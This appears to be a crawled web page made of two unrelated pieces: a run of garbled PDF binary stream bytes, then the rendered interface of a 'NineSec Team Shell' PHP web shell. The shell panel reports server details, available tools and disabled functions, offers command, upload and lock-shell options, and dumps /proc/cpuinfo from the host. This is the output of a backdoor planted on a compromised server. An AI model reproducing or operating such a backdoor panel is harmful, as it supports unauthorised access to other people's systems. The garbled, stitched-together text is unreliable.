%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.0.4  /  Your IP : 192.168.0.1
Web Server : nginx/1.21.3
System : Linux 3ff39a18168d 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www ( 1000)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF
Directory (0555) :  /proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //proc/cpuinfo
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
stepping	: 10
microcode	: 0xf0
cpu MHz		: 900.078
cache size	: 9216 KB
physical id	: 0
siblings	: 6
core id		: 0
cpu cores	: 6
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_stale_data
bogomips	: 5599.85
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
stepping	: 10
microcode	: 0xf0
cpu MHz		: 900.030
cache size	: 9216 KB
physical id	: 0
siblings	: 6
core id		: 1
cpu cores	: 6
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_stale_data
bogomips	: 5599.85
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
stepping	: 10
microcode	: 0xf0
cpu MHz		: 899.376
cache size	: 9216 KB
physical id	: 0
siblings	: 6
core id		: 2
cpu cores	: 6
apicid		: 4
initial apicid	: 4
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_stale_data
bogomips	: 5599.85
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
stepping	: 10
microcode	: 0xf0
cpu MHz		: 900.083
cache size	: 9216 KB
physical id	: 0
siblings	: 6
core id		: 3
cpu cores	: 6
apicid		: 6
initial apicid	: 6
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_stale_data
bogomips	: 5599.85
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 4
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
stepping	: 10
microcode	: 0xf0
cpu MHz		: 894.502
cache size	: 9216 KB
physical id	: 0
siblings	: 6
core id		: 4
cpu cores	: 6
apicid		: 8
initial apicid	: 8
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_stale_data
bogomips	: 5599.85
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 5
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
stepping	: 10
microcode	: 0xf0
cpu MHz		: 900.193
cache size	: 9216 KB
physical id	: 0
siblings	: 6
core id		: 5
cpu cores	: 6
apicid		: 10
initial apicid	: 10
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt intel_pt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp md_clear flush_l1d arch_capabilities
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds mmio_stale_data
bogomips	: 5599.85
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:


NineSec Team - 2022